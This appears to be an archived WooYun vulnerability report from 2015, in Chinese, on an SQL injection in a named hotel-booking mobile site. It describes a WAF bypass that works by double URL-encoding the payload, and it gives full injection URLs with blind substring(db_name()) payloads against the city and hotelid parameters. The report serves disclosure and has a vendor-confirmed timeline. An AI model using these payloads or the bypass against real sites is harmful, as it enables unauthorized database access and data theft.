破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

住哪网某站点绕过WAF继续SQL注入

编号102589
Urlhttp://www.wooyun.org/bug.php?action=view&id=102589
漏洞状态厂商已经确认
漏洞标题住哪网某站点绕过WAF继续SQL注入
漏洞类型
厂商住哪网
白帽子梧桐雨
提交日期2015-03-20 15:07:00
公开日期2015-05-04 15:16:00
修复时间(not set)
确认时间2015-03-20 00:00:00
Confirm Spend0
漏洞标签php+sql server注入
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank15
漏洞简介
过程还是有点意思,权当积累案例。
漏洞细节

问题出在住哪儿网手机站:http://m.zhuna.cn/
注入点:http://m.zhuna.cn/wap/index.php/index/hotelSearch?city=x
一开始丢到sqlmap跑,得到结果是sql server 我还不信。。因为这网站是php的。。结果后面注入出来结果还真的是。。让我无语了。
http://m.zhuna.cn/wap/index.php/index/hotelSearch?city=x' 报错:

zhuana-1.jpg


zhuana-2.jpg


悲催,被拦截了。
测试发现最后结尾是带and or select 全部被拦截了。
后面测试发现order by 可以查询字段,这个没有过滤。
3个字段,是正确的

zhuana-3.jpg


4个就错误了

zhuana-4.jpg


但是不能select,怎么查呢,发现url编码2次以上不会再拦截,如图所示:
多次编码之后:

zhuana-5.jpg


and 1=1 and 1=2结果不一,再次证明可以注入

zhuana-6.jpg


zhuana-7.jpg


测试version() user() database()发现不存在这些内置函数,最后一个一个测试,发现还是sqlserver 。。
db_name长度14

zhuana-8.jpg


以此类推
http://m.zhuna.cn/wap/index.php/index/hotelSearch?city=x%27%20and%20substring((select%20db_name()),1,1)=%27H%27%20and%2520%25271%2527%3d%25271
首字母H
http://m.zhuna.cn/wap/index.php/index/hotelSearch?city=x%27%20and%20substring((select%20db_name()),2,1)=%27O%27%20and%2520%25271%2527%3d%25271
注出数据库name为:HOTEL_9TOURCN

POC

都在上面了
还有一处注入存在:
http://m.zhuna.cn/wap/index.php/index/ydHotel?backurl=http://m.zhuna.cn/wap/index.php/index/getHotelInfo/135979/2015-03-20/2015-03-21?type=1&end=&hotelid=1%27%20and%201=1&iscard=0&pid=334190&rid=686742&stat=&tm1=2015-03-20&tm2=2015-03-21
hotelid 注入点,也过滤下。

修复方案

过滤参数city,hotelid

状态信息 2015-03-20: 细节已通知厂商并且等待厂商处理中
2015-03-20: 厂商已经确认,细节仅向厂商公开
2015-03-30: 细节向核心白帽子及相关领域专家公开
2015-04-09: 细节向普通白帽子公开
2015-04-19: 细节向实习白帽子公开
2015-05-04: 细节向公众公开
厂商回复非常感谢您反馈的信息,相关问题已交技术处理。
回应信息危害等级:高漏洞Rank:15 确认时间:2015-03-20 15:14
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

没测试,看URI结构和报错页面,后台PHP框架是CodeIgniter,所以不一定是WAF,而是CodeIgniter框架的 ActiveRecord 类方法做的安全查询,但部分数据库操作为了偷懒没使用CI的 AR 类方法,才导致注入

甲鱼02015-05-04 21:27:00

住哪网某站点绕过WAF继续SQL注入

苏泽02015-03-20 18:01:00